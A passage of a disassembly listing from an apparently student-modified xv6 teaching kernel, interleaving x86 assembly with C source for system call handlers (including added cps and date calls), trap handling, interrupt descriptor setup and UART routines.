90 28 mov %edi,0x28(%eax,%edx,4) myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 801054fc: 8b 45 dc mov -0x24(%ebp),%eax 801054ff: 89 18 mov %ebx,(%eax) fd[1] = fd1; 80105501: 8b 45 dc mov -0x24(%ebp),%eax 80105504: 89 50 04 mov %edx,0x4(%eax) return 0; 80105507: 31 c0 xor %eax,%eax } 80105509: 8d 65 f4 lea -0xc(%ebp),%esp 8010550c: 5b pop %ebx 8010550d: 5e pop %esi 8010550e: 5f pop %edi 8010550f: 5d pop %ebp 80105510: c3 ret 80105511: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi myproc()->ofile[fd0] = 0; 80105518: e8 c3 e2 ff ff call 801037e0 <myproc> 8010551d: c7 44 b0 08 00 00 00 movl $0x0,0x8(%eax,%esi,4) 80105524: 00 80105525: 8d 76 00 lea 0x0(%esi),%esi fileclose(rf); 80105528: 83 ec 0c sub $0xc,%esp 8010552b: ff 75 e0 pushl -0x20(%ebp) 8010552e: e8 0d b9 ff ff call 80100e40 <fileclose> fileclose(wf); 80105533: 58 pop %eax 80105534: ff 75 e4 pushl -0x1c(%ebp) 80105537: e8 04 b9 ff ff call 80100e40 <fileclose> return -1; 8010553c: 83 c4 10 add $0x10,%esp 8010553f: b8 ff ff ff ff mov $0xffffffff,%eax 80105544: eb c3 jmp 80105509 <sys_pipe+0x99> 80105546: 66 90 xchg %ax,%ax 80105548: 66 90 xchg %ax,%ax 8010554a: 66 90 xchg %ax,%ax 8010554c: 66 90 xchg %ax,%ax 8010554e: 66 90 xchg %ax,%ax 80105550 <sys_fork>: #include "mmu.h" #include "proc.h" int sys_fork(void) { 80105550: 55 push %ebp 80105551: 89 e5 mov %esp,%ebp return fork(); } 80105553: 5d pop %ebp return fork(); 80105554: e9 27 e4 ff ff jmp 80103980 <fork> 80105559: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105560 <sys_exit>: int sys_exit(void) { 80105560: 55 push %ebp 80105561: 89 e5 mov %esp,%ebp 80105563: 83 ec 08 sub $0x8,%esp exit(); 80105566: e8 95 e6 ff ff call 80103c00 <exit> return 0; // not reached } 8010556b: 31 c0 xor %eax,%eax 8010556d: c9 leave 8010556e: c3 ret 8010556f: 90 nop 80105570 <sys_wait>: int sys_wait(void) { 80105570: 55 push %ebp 80105571: 89 e5 mov %esp,%ebp return wait(); } 80105573: 5d pop %ebp return wait(); 80105574: e9 c7 e8 ff ff jmp 80103e40 <wait> 80105579: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105580 <sys_kill>: int sys_kill(void) { 80105580: 55 push %ebp 80105581: 89 e5 mov %esp,%ebp 80105583: 83 ec 20 sub $0x20,%esp int pid; if(argint(0, &pid) < 0) 80105586: 8d 45 f4 lea -0xc(%ebp),%eax 80105589: 50 push %eax 8010558a: 6a 00 push $0x0 8010558c: e8 8f f2 ff ff call 80104820 <argint> 80105591: 83 c4 10 add $0x10,%esp 80105594: 85 c0 test %eax,%eax 80105596: 78 18 js 801055b0 <sys_kill+0x30> return -1; return kill(pid); 80105598: 83 ec 0c sub $0xc,%esp 8010559b: ff 75 f4 pushl -0xc(%ebp) 8010559e: e8 ed e9 ff ff call 80103f90 <kill> 801055a3: 83 c4 10 add $0x10,%esp } 801055a6: c9 leave 801055a7: c3 ret 801055a8: 90 nop 801055a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801055b0: b8 ff ff ff ff mov $0xffffffff,%eax } 801055b5: c9 leave 801055b6: c3 ret 801055b7: 89 f6 mov %esi,%esi 801055b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801055c0 <sys_getpid>: int sys_getpid(void) { 801055c0: 55 push %ebp 801055c1: 89 e5 mov %esp,%ebp 801055c3: 83 ec 08 sub $0x8,%esp return myproc()->pid; 801055c6: e8 15 e2 ff ff call 801037e0 <myproc> 801055cb: 8b 40 10 mov 0x10(%eax),%eax } 801055ce: c9 leave 801055cf: c3 ret 801055d0 <sys_sbrk>: int sys_sbrk(void) { 801055d0: 55 push %ebp 801055d1: 89 e5 mov %esp,%ebp 801055d3: 53 push %ebx int addr; int n; if(argint(0, &n) < 0) 801055d4: 8d 45 f4 lea -0xc(%ebp),%eax { 801055d7: 83 ec 1c sub $0x1c,%esp if(argint(0, &n) < 0) 801055da: 50 push %eax 801055db: 6a 00 push $0x0 801055dd: e8 3e f2 ff ff call 80104820 <argint> 801055e2: 83 c4 10 add $0x10,%esp 801055e5: 85 c0 test %eax,%eax 801055e7: 78 27 js 80105610 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 801055e9: e8 f2 e1 ff ff call 801037e0 <myproc> if(growproc(n) < 0) 801055ee: 83 ec 0c sub $0xc,%esp addr = myproc()->sz; 801055f1: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 801055f3: ff 75 f4 pushl -0xc(%ebp) 801055f6: e8 05 e3 ff ff call 80103900 <growproc> 801055fb: 83 c4 10 add $0x10,%esp 801055fe: 85 c0 test %eax,%eax 80105600: 78 0e js 80105610 <sys_sbrk+0x40> return -1; return addr; } 80105602: 89 d8 mov %ebx,%eax 80105604: 8b 5d fc mov -0x4(%ebp),%ebx 80105607: c9 leave 80105608: c3 ret 80105609: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105610: bb ff ff ff ff mov $0xffffffff,%ebx 80105615: eb eb jmp 80105602 <sys_sbrk+0x32> 80105617: 89 f6 mov %esi,%esi 80105619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105620 <sys_sleep>: int sys_sleep(void) { 80105620: 55 push %ebp 80105621: 89 e5 mov %esp,%ebp 80105623: 53 push %ebx int n; uint ticks0; if(argint(0, &n) < 0) 80105624: 8d 45 f4 lea -0xc(%ebp),%eax { 80105627: 83 ec 1c sub $0x1c,%esp if(argint(0, &n) < 0) 8010562a: 50 push %eax 8010562b: 6a 00 push $0x0 8010562d: e8 ee f1 ff ff call 80104820 <argint> 80105632: 83 c4 10 add $0x10,%esp 80105635: 85 c0 test %eax,%eax 80105637: 0f 88 8a 00 00 00 js 801056c7 <sys_sleep+0xa7> return -1; acquire(&tickslock); 8010563d: 83 ec 0c sub $0xc,%esp 80105640: 68 60 4c 11 80 push $0x80114c60 80105645: e8 c6 ed ff ff call 80104410 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 8010564a: 8b 55 f4 mov -0xc(%ebp),%edx 8010564d: 83 c4 10 add $0x10,%esp ticks0 = ticks; 80105650: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx while(ticks - ticks0 < n){ 80105656: 85 d2 test %edx,%edx 80105658: 75 27 jne 80105681 <sys_sleep+0x61> 8010565a: eb 54 jmp 801056b0 <sys_sleep+0x90> 8010565c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 80105660: 83 ec 08 sub $0x8,%esp 80105663: 68 60 4c 11 80 push $0x80114c60 80105668: 68 a0 54 11 80 push $0x801154a0 8010566d: e8 0e e7 ff ff call 80103d80 <sleep> while(ticks - ticks0 < n){ 80105672: a1 a0 54 11 80 mov 0x801154a0,%eax 80105677: 83 c4 10 add $0x10,%esp 8010567a: 29 d8 sub %ebx,%eax 8010567c: 3b 45 f4 cmp -0xc(%ebp),%eax 8010567f: 73 2f jae 801056b0 <sys_sleep+0x90> if(myproc()->killed){ 80105681: e8 5a e1 ff ff call 801037e0 <myproc> 80105686: 8b 40 24 mov 0x24(%eax),%eax 80105689: 85 c0 test %eax,%eax 8010568b: 74 d3 je 80105660 <sys_sleep+0x40> release(&tickslock); 8010568d: 83 ec 0c sub $0xc,%esp 80105690: 68 60 4c 11 80 push $0x80114c60 80105695: e8 36 ee ff ff call 801044d0 <release> return -1; 8010569a: 83 c4 10 add $0x10,%esp 8010569d: b8 ff ff ff ff mov $0xffffffff,%eax } release(&tickslock); return 0; } 801056a2: 8b 5d fc mov -0x4(%ebp),%ebx 801056a5: c9 leave 801056a6: c3 ret 801056a7: 89 f6 mov %esi,%esi 801056a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi release(&tickslock); 801056b0: 83 ec 0c sub $0xc,%esp 801056b3: 68 60 4c 11 80 push $0x80114c60 801056b8: e8 13 ee ff ff call 801044d0 <release> return 0; 801056bd: 83 c4 10 add $0x10,%esp 801056c0: 31 c0 xor %eax,%eax } 801056c2: 8b 5d fc mov -0x4(%ebp),%ebx 801056c5: c9 leave 801056c6: c3 ret return -1; 801056c7: b8 ff ff ff ff mov $0xffffffff,%eax 801056cc: eb f4 jmp 801056c2 <sys_sleep+0xa2> 801056ce: 66 90 xchg %ax,%ax 801056d0 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 801056d0: 55 push %ebp 801056d1: 89 e5 mov %esp,%ebp 801056d3: 53 push %ebx 801056d4: 83 ec 10 sub $0x10,%esp uint xticks; acquire(&tickslock); 801056d7: 68 60 4c 11 80 push $0x80114c60 801056dc: e8 2f ed ff ff call 80104410 <acquire> xticks = ticks; 801056e1: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx release(&tickslock); 801056e7: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 801056ee: e8 dd ed ff ff call 801044d0 <release> return xticks; } 801056f3: 89 d8 mov %ebx,%eax 801056f5: 8b 5d fc mov -0x4(%ebp),%ebx 801056f8: c9 leave 801056f9: c3 ret 801056fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105700 <sys_cps>: int sys_cps(void) { 80105700: 55 push %ebp 80105701: 89 e5 mov %esp,%ebp return cps(); } 80105703: 5d pop %ebp return cps(); 80105704: e9 c7 e9 ff ff jmp 801040d0 <cps> 80105709: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105710 <sys_date>: //implementation of date int sys_date(void) { 80105710: 55 push %ebp 80105711: 89 e5 mov %esp,%ebp 80105713: 83 ec 1c sub $0x1c,%esp struct rtcdate *r; if (argptr(0, (char **) &r, sizeof(struct rtcdate)) < 0) 80105716: 8d 45 f4 lea -0xc(%ebp),%eax 80105719: 6a 18 push $0x18 8010571b: 50 push %eax 8010571c: 6a 00 push $0x0 8010571e: e8 4d f1 ff ff call 80104870 <argptr> 80105723: 83 c4 10 add $0x10,%esp 80105726: 85 c0 test %eax,%eax 80105728: 78 16 js 80105740 <sys_date+0x30> return -1; cmostime(r); 8010572a: 83 ec 0c sub $0xc,%esp 8010572d: ff 75 f4 pushl -0xc(%ebp) 80105730: e8 db d0 ff ff call 80102810 <cmostime> return 0; 80105735: 83 c4 10 add $0x10,%esp 80105738: 31 c0 xor %eax,%eax } 8010573a: c9 leave 8010573b: c3 ret 8010573c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105740: b8 ff ff ff ff mov $0xffffffff,%eax } 80105745: c9 leave 80105746: c3 ret 80105747 <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 80105747: 1e push %ds pushl %es 80105748: 06 push %es pushl %fs 80105749: 0f a0 push %fs pushl %gs 8010574b: 0f a8 push %gs pushal 8010574d: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 8010574e: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 80105752: 8e d8 mov %eax,%ds movw %ax, %es 80105754: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 80105756: 54 push %esp call trap 80105757: e8 c4 00 00 00 call 80105820 <trap> addl $4, %esp 8010575c: 83 c4 04 add $0x4,%esp 8010575f <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 8010575f: 61 popa popl %gs 80105760: 0f a9 pop %gs popl %fs 80105762: 0f a1 pop %fs popl %es 80105764: 07 pop %es popl %ds 80105765: 1f pop %ds addl $0x8, %esp # trapno and errcode 80105766: 83 c4 08 add $0x8,%esp iret 80105769: cf iret 8010576a: 66 90 xchg %ax,%ax 8010576c: 66 90 xchg %ax,%ax 8010576e: 66 90 xchg %ax,%ax 80105770 <tvinit>: struct spinlock tickslock; uint ticks; void tvinit(void) { 80105770: 55 push %ebp int i; for(i = 0; i < 256; i++) 80105771: 31 c0 xor %eax,%eax { 80105773: 89 e5 mov %esp,%ebp 80105775: 83 ec 08 sub $0x8,%esp 80105778: 90 nop 80105779: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80105780: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 80105787: c7 04 c5 a2 4c 11 80 movl $0x8e000008,-0x7feeb35e(,%eax,8) 8010578e: 08 00 00 8e 80105792: 66 89 14 c5 a0 4c 11 mov %dx,-0x7feeb360(,%eax,8) 80105799: 80 8010579a: c1 ea 10 shr $0x10,%edx 8010579d: 66 89 14 c5 a6 4c 11 mov %dx,-0x7feeb35a(,%eax,8) 801057a4: 80 for(i = 0; i < 256; i++) 801057a5: 83 c0 01 add $0x1,%eax 801057a8: 3d 00 01 00 00 cmp $0x100,%eax 801057ad: 75 d1 jne 80105780 <tvinit+0x10> SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801057af: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 801057b4: 83 ec 08 sub $0x8,%esp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801057b7: c7 05 a2 4e 11 80 08 movl $0xef000008,0x80114ea2 801057be: 00 00 ef initlock(&tickslock, "time"); 801057c1: 68 e1 77 10 80 push $0x801077e1 801057c6: 68 60 4c 11 80 push $0x80114c60 SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801057cb: 66 a3 a0 4e 11 80 mov %ax,0x80114ea0 801057d1: c1 e8 10 shr $0x10,%eax 801057d4: 66 a3 a6 4e 11 80 mov %ax,0x80114ea6 initlock(&tickslock, "time"); 801057da: e8 f1 ea ff ff call 801042d0 <initlock> } 801057df: 83 c4 10 add $0x10,%esp 801057e2: c9 leave 801057e3: c3 ret 801057e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801057ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801057f0 <idtinit>: void idtinit(void) { 801057f0: 55 push %ebp pd[0] = size-1; 801057f1: b8 ff 07 00 00 mov $0x7ff,%eax 801057f6: 89 e5 mov %esp,%ebp 801057f8: 83 ec 10 sub $0x10,%esp 801057fb: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 801057ff: b8 a0 4c 11 80 mov $0x80114ca0,%eax 80105804: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80105808: c1 e8 10 shr $0x10,%eax 8010580b: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 8010580f: 8d 45 fa lea -0x6(%ebp),%eax 80105812: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 80105815: c9 leave 80105816: c3 ret 80105817: 89 f6 mov %esi,%esi 80105819: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105820 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 80105820: 55 push %ebp 80105821: 89 e5 mov %esp,%ebp 80105823: 57 push %edi 80105824: 56 push %esi 80105825: 53 push %ebx 80105826: 83 ec 1c sub $0x1c,%esp 80105829: 8b 7d 08 mov 0x8(%ebp),%edi if(tf->trapno == T_SYSCALL){ 8010582c: 8b 47 30 mov 0x30(%edi),%eax 8010582f: 83 f8 40 cmp $0x40,%eax 80105832: 0f 84 f0 00 00 00 je 80105928 <trap+0x108> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 80105838: 83 e8 20 sub $0x20,%eax 8010583b: 83 f8 1f cmp $0x1f,%eax 8010583e: 77 10 ja 80105850 <trap+0x30> 80105840: ff 24 85 88 78 10 80 jmp *-0x7fef8778(,%eax,4) 80105847: 89 f6 mov %esi,%esi 80105849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapiceoi(); break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 80105850: e8 8b df ff ff call 801037e0 <myproc> 80105855: 85 c0 test %eax,%eax 80105857: 8b 5f 38 mov 0x38(%edi),%ebx 8010585a: 0f 84 14 02 00 00 je 80105a74 <trap+0x254> 80105860: f6 47 3c 03 testb $0x3,0x3c(%edi) 80105864: 0f 84 0a 02 00 00 je 80105a74 <trap+0x254> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 8010586a: 0f 20 d1 mov %cr2,%ecx 8010586d: 89 4d d8 mov %ecx,-0x28(%ebp) cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80105870: e8 4b df ff ff call 801037c0 <cpuid> 80105875: 89 45 dc mov %eax,-0x24(%ebp) 80105878: 8b 47 34 mov 0x34(%edi),%eax 8010587b: 8b 77 30 mov 0x30(%edi),%esi 8010587e: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 80105881: e8 5a df ff ff call 801037e0 <myproc> 80105886: 89 45 e0 mov %eax,-0x20(%ebp) 80105889: e8 52 df ff ff call 801037e0 <myproc> cprintf("pid %d %s: trap %d err %d on cpu %d " 8010588e: 8b 4d d8 mov -0x28(%ebp),%ecx 80105891: 8b 55 dc mov -0x24(%ebp),%edx 80105894: 51 push %ecx 80105895: 53 push %ebx 80105896: 52 push %edx myproc()->pid, myproc()->name, tf->trapno, 80105897: 8b 55 e0 mov -0x20(%ebp),%edx cprintf("pid %d %s: trap %d err %d on cpu %d " 8010589a: ff 75 e4 pushl -0x1c(%ebp) 8010589d: 56 push %esi myproc()->pid, myproc()->name, tf->trapno, 8010589e: 83 c2 6c add $0x6c,%edx cprintf("pid %d %s: trap %d err %d on cpu %d " 801058a1: 52 push %edx 801058a2: ff 70 10 pushl 0x10(%eax) 801058a5: 68 44 78 10 80 push $0x80107844 801058aa: e8 b1 ad ff ff call 80100660 <cprintf> tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 801058af: 83 c4 20 add $0x20,%esp 801058b2: e8 29 df ff ff call 801037e0 <myproc> 801058b7: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801058be: e8 1d df ff ff call 801037e0 <myproc> 801058c3: 85 c0 test %eax,%eax 801058c5: 74 1d je 801058e4 <trap+0xc4> 801058c7: e8 14 df ff ff call 801037e0 <myproc> 801058cc: 8b 50 24 mov 0x24(%eax),%edx 801058cf: 85 d2 test %edx,%edx 801058d1: 74 11 je 801058e4 <trap+0xc4> 801058d3: 0f b7 47 3c movzwl 0x3c(%edi),%eax 801058d7: 83 e0 03 and $0x3,%eax 801058da: 66 83 f8 03 cmp $0x3,%ax 801058de: 0f 84 4c 01 00 00 je 80105a30 <trap+0x210> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 801058e4: e8 f7 de ff ff call 801037e0 <myproc> 801058e9: 85 c0 test %eax,%eax 801058eb: 74 0b je 801058f8 <trap+0xd8> 801058ed: e8 ee de ff ff call 801037e0 <myproc> 801058f2: 83 78 0c 04 cmpl $0x4,0xc(%eax) 801058f6: 74 68 je 80105960 <trap+0x140> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801058f8: e8 e3 de ff ff call 801037e0 <myproc> 801058fd: 85 c0 test %eax,%eax 801058ff: 74 19 je 8010591a <trap+0xfa> 80105901: e8 da de ff ff call 801037e0 <myproc> 80105906: 8b 40 24 mov 0x24(%eax),%eax 80105909: 85 c0 test %eax,%eax 8010590b: 74 0d je 8010591a <trap+0xfa> 8010590d: 0f b7 47 3c movzwl 0x3c(%edi),%eax 80105911: 83 e0 03 and $0x3,%eax 80105914: 66 83 f8 03 cmp $0x3,%ax 80105918: 74 37 je 80105951 <trap+0x131> exit(); } 8010591a: 8d 65 f4 lea -0xc(%ebp),%esp 8010591d: 5b pop %ebx 8010591e: 5e pop %esi 8010591f: 5f pop %edi 80105920: 5d pop %ebp 80105921: c3 ret 80105922: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(myproc()->killed) 80105928: e8 b3 de ff ff call 801037e0 <myproc> 8010592d: 8b 58 24 mov 0x24(%eax),%ebx 80105930: 85 db test %ebx,%ebx 80105932: 0f 85 e8 00 00 00 jne 80105a20 <trap+0x200> myproc()->tf = tf; 80105938: e8 a3 de ff ff call 801037e0 <myproc> 8010593d: 89 78 18 mov %edi,0x18(%eax) syscall(); 80105940: e8 cb ef ff ff call 80104910 <syscall> if(myproc()->killed) 80105945: e8 96 de ff ff call 801037e0 <myproc> 8010594a: 8b 48 24 mov 0x24(%eax),%ecx 8010594d: 85 c9 test %ecx,%ecx 8010594f: 74 c9 je 8010591a <trap+0xfa> } 80105951: 8d 65 f4 lea -0xc(%ebp),%esp 80105954: 5b pop %ebx 80105955: 5e pop %esi 80105956: 5f pop %edi 80105957: 5d pop %ebp exit(); 80105958: e9 a3 e2 ff ff jmp 80103c00 <exit> 8010595d: 8d 76 00 lea 0x0(%esi),%esi if(myproc() && myproc()->state == RUNNING && 80105960: 83 7f 30 20 cmpl $0x20,0x30(%edi) 80105964: 75 92 jne 801058f8 <trap+0xd8> yield(); 80105966: e8 c5 e3 ff ff call 80103d30 <yield> 8010596b: eb 8b jmp 801058f8 <trap+0xd8> 8010596d: 8d 76 00 lea 0x0(%esi),%esi if(cpuid() == 0){ 80105970: e8 4b de ff ff call 801037c0 <cpuid> 80105975: 85 c0 test %eax,%eax 80105977: 0f 84 c3 00 00 00 je 80105a40 <trap+0x220> lapiceoi(); 8010597d: e8 ce cd ff ff call 80102750 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105982: e8 59 de ff ff call 801037e0 <myproc> 80105987: 85 c0 test %eax,%eax 80105989: 0f 85 38 ff ff ff jne 801058c7 <trap+0xa7> 8010598f: e9 50 ff ff ff jmp 801058e4 <trap+0xc4> 80105994: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kbdintr(); 80105998: e8 73 cc ff ff call 80102610 <kbdintr> lapiceoi(); 8010599d: e8 ae cd ff ff call 80102750 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801059a2: e8 39 de ff ff call 801037e0 <myproc> 801059a7: 85 c0 test %eax,%eax 801059a9: 0f 85 18 ff ff ff jne 801058c7 <trap+0xa7> 801059af: e9 30 ff ff ff jmp 801058e4 <trap+0xc4> 801059b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uartintr(); 801059b8: e8 53 02 00 00 call 80105c10 <uartintr> lapiceoi(); 801059bd: e8 8e cd ff ff call 80102750 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801059c2: e8 19 de ff ff call 801037e0 <myproc> 801059c7: 85 c0 test %eax,%eax 801059c9: 0f 85 f8 fe ff ff jne 801058c7 <trap+0xa7> 801059cf: e9 10 ff ff ff jmp 801058e4 <trap+0xc4> 801059d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("cpu%d: spurious interrupt at %x:%x\n", 801059d8: 0f b7 5f 3c movzwl 0x3c(%edi),%ebx 801059dc: 8b 77 38 mov 0x38(%edi),%esi 801059df: e8 dc dd ff ff call 801037c0 <cpuid> 801059e4: 56 push %esi 801059e5: 53 push %ebx 801059e6: 50 push %eax 801059e7: 68 ec 77 10 80 push $0x801077ec 801059ec: e8 6f ac ff ff call 80100660 <cprintf> lapiceoi(); 801059f1: e8 5a cd ff ff call 80102750 <lapiceoi> break; 801059f6: 83 c4 10 add $0x10,%esp if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801059f9: e8 e2 dd ff ff call 801037e0 <myproc> 801059fe: 85 c0 test %eax,%eax 80105a00: 0f 85 c1 fe ff ff jne 801058c7 <trap+0xa7> 80105a06: e9 d9 fe ff ff jmp 801058e4 <trap+0xc4> 80105a0b: 90 nop 80105a0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ideintr(); 80105a10: e8 6b c6 ff ff call 80102080 <ideintr> 80105a15: e9 63 ff ff ff jmp 8010597d <trap+0x15d> 80105a1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi exit(); 80105a20: e8 db e1 ff ff call 80103c00 <exit> 80105a25: e9 0e ff ff ff jmp 80105938 <trap+0x118> 80105a2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi exit(); 80105a30: e8 cb e1 ff ff call 80103c00 <exit> 80105a35: e9 aa fe ff ff jmp 801058e4 <trap+0xc4> 80105a3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi acquire(&tickslock); 80105a40: 83 ec 0c sub $0xc,%esp 80105a43: 68 60 4c 11 80 push $0x80114c60 80105a48: e8 c3 e9 ff ff call 80104410 <acquire> wakeup(&ticks); 80105a4d: c7 04 24 a0 54 11 80 movl $0x801154a0,(%esp) ticks++; 80105a54: 83 05 a0 54 11 80 01 addl $0x1,0x801154a0 wakeup(&ticks); 80105a5b: e8 d0 e4 ff ff call 80103f30 <wakeup> release(&tickslock); 80105a60: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 80105a67: e8 64 ea ff ff call 801044d0 <release> 80105a6c: 83 c4 10 add $0x10,%esp 80105a6f: e9 09 ff ff ff jmp 8010597d <trap+0x15d> 80105a74: 0f 20 d6 mov %cr2,%esi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80105a77: e8 44 dd ff ff call 801037c0 <cpuid> 80105a7c: 83 ec 0c sub $0xc,%esp 80105a7f: 56 push %esi 80105a80: 53 push %ebx 80105a81: 50 push %eax 80105a82: ff 77 30 pushl 0x30(%edi) 80105a85: 68 10 78 10 80 push $0x80107810 80105a8a: e8 d1 ab ff ff call 80100660 <cprintf> panic("trap"); 80105a8f: 83 c4 14 add $0x14,%esp 80105a92: 68 e6 77 10 80 push $0x801077e6 80105a97: e8 f4 a8 ff ff call 80100390 <panic> 80105a9c: 66 90 xchg %ax,%ax 80105a9e: 66 90 xchg %ax,%ax 80105aa0 <uartgetc>: } static int uartgetc(void) { if(!uart) 80105aa0: a1 bc a5 10 80 mov 0x8010a5bc,%eax { 80105aa5: 55 push %ebp 80105aa6: 89 e5 mov %esp,%ebp if(!uart) 80105aa8: 85 c0 test %eax,%eax 80105aaa: 74 1c je 80105ac8 <uartgetc+0x28> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105aac: ba fd 03 00 00 mov $0x3fd,%edx 80105ab1: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 80105ab2: a8 01 test $0x1,%al 80105ab4: 74 12 je 80105ac8 <uartgetc+0x28> 80105ab6: ba f8 03 00 00 mov $0x3f8,%edx 80105abb: ec in (%dx),%al return -1; return inb(COM1+0); 80105abc: 0f b6 c0 movzbl %al,%eax } 80105abf: 5d pop %ebp 80105ac0: c3 ret 80105ac1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105ac8: b8 ff ff ff ff mov $0xffffffff,%eax } 80105acd: 5d pop %ebp 80105ace: c3 ret 80105acf: 90 nop 80105ad0 <uartputc.part.0>: uartputc(int c) 80105ad0: 55 push %ebp 80105ad1: 89 e5 mov %esp,%ebp 80105ad3: 57 push %edi 80105ad4: 56 push %esi 80105ad5: 53 push %ebx 80105ad6: 89 c7 mov %eax,%edi 80105ad8: bb 80 00 00 00 mov $0x80,%ebx 80105add: be fd 03 00 00 mov $0x3fd,%esi 80105ae2: 83 ec 0c sub $0xc,%esp 80105ae5: eb 1b jmp 80105b02 <uartputc.part.0+0x32> 80105ae7: 89 f6 mov %esi,%esi 80105ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi microdelay(10); 80105af0: 83 ec 0c sub $0xc,%esp 80105af3: 6a 0a push $0xa 80105af5: e8 76 cc ff ff call 80102770 <microdelay> for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 80105afa: 83 c4 10 add $0x10,%esp 80105afd: 83 eb 01 sub $0x1,%ebx 80105b00: 74 07 je 80105b09 <uartputc.part.0+0x39> 80105b02: 89 f2 mov %esi,%edx 80105b04: ec in (%dx),%al 80105b05: a8 20 test $0x20,%al 80105b07: 74 e7 je 80105af0 <uartputc.part.0+0x20> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80105b09: ba f8 03 00 00 mov $0x3f8,%edx 80105b0e: 89 f8 mov %edi,%eax 80105b10: ee out %al,(%dx) } 80105b11: 8d 65 f4 lea -0xc(%ebp),%esp 80105b14: 5b pop %ebx 80105b15: 5e pop %esi 80105b16: 5f pop %edi 80105b17: 5d pop %ebp 80105b18: c3 ret 80105b19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105b20 <uartinit>: { 80105b20: 55 